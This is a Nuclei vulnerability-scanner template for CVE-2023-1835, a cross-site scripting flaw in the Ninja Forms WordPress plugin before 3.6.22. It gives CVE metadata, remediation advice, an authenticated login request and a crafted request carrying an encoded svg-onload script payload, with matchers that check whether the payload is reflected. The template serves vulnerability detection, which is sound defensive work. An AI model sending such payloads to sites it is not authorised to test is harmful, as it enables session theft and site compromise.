nuclei-templates/http/cves/2023/CVE-2023-1835.yaml

54 lines
2.1 KiB
YAML

id: CVE-2023-1835
info:
name: Ninja Forms < 3.6.22 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/b5fc223c-5ec0-44b2-b2f6-b35f9942d341
- https://wordpress.org/plugins/ninja-forms/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1835
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1835
cwe-id: CWE-79
epss-score: 0.00071
epss-percentile: 0.29581
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: ninjaforms
product: ninja_forms
framework: wordpress
tags: wpscan,cve,cve2023,ninja,forms,wp,wp-plugin,wordpress,authenticated,xss
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
- 'contains(body_2, "Ninja Forms")'
condition: and
# digest: 4a0a00473045022100f965c73abb3b94e4eef034af2541493dd839c8799f466f2be25bdb5902a92e4a02202a61e77521fd308d1daaed6c090a28fbe6bc66e8da8b51d8b293d3e609c83db2:922c64590222798bb761d5b6d8e72950